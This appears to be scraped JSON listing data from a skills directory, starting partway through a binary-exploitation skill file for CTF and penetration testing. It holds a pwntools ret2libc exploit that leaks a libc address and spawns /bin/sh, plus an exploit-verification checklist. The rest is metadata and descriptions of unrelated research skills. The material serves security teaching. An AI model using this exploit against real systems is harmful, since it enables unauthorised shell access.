target.sendlineafter(b\"Input: \", payload1)\n\n    leaked = u64(target.recvline().strip().ljust(8, b\"\\x00\"))\n    log.success(f\"Leaked puts: {hex(leaked)}\")\n\n    # Stage 2: ret2libc\n    libc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n    libc.address = leaked - libc.symbols[\"puts\"]\n\n    rop2 = ROP(libc)\n    rop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\n    payload2 = flat(b\"A\" * OFFSET, rop2.chain())\n    target.sendlineafter(b\"Input: \", payload2)\n\n    target.interactive()\n\n# Test locally first\nlog.info(\"Testing exploit locally...\")\nlocal = process(binary_path)\nexploit(local)\n\n# Then run against remote target\n# log.info(\"Running exploit against remote target...\")\n# remote = remote(REMOTE_HOST, REMOTE_PORT)\n# exploit(remote)\n```\n\n## Verification\n\n- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection\n- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP\u002FEIP contains the expected cyclic value\n- Test shellcode payloads execute correctly in a controlled environment with NX disabled\n- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall\u002Ffunction call\n- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used\n- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses\n- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)\n- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary\n",{"name":5,"tags":24,"author":29,"domain":30,"license":14,"version":31,"nist_csf":32,"subdomain":36,"description":37,"mitre_attack":38},[25,26,27,28],"binary-exploitation","pwntools","rop-chains","buffer-overflow","mahipal","cybersecurity","1.0",[33,34,35],"ID.RA-01","GV.OV-02","DE.AE-07","offensive-security","Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.\n",[39,40,41],"T1078","T1190","T1059","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-binary-exploitation-analysis","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":49,"prompt":59,"zipAvailable":60},[50,53,56],{"tool":51,"command":52},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill performing-binary-exploitation-analysis",{"tool":54,"command":55},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill performing-binary-exploitation-analysis",{"tool":57,"command":58},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill performing-binary-exploitation-analysis","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002FSKILL.md",true,[62,66,72],{"path":63,"resourceType":63,"resourceTypeDesc":64,"sizeBytes":65,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":67,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":71},"references\u002Fapi-reference.md","REFERENCE","参考文档",1755,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002Freferences\u002Fapi-reference.md",{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"scripts\u002Fagent.py","SCRIPT","脚本",7875,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002Fscripts\u002Fagent.py",[79,87,94,101,108,115],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":112,"categories":113,"keywords":114,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]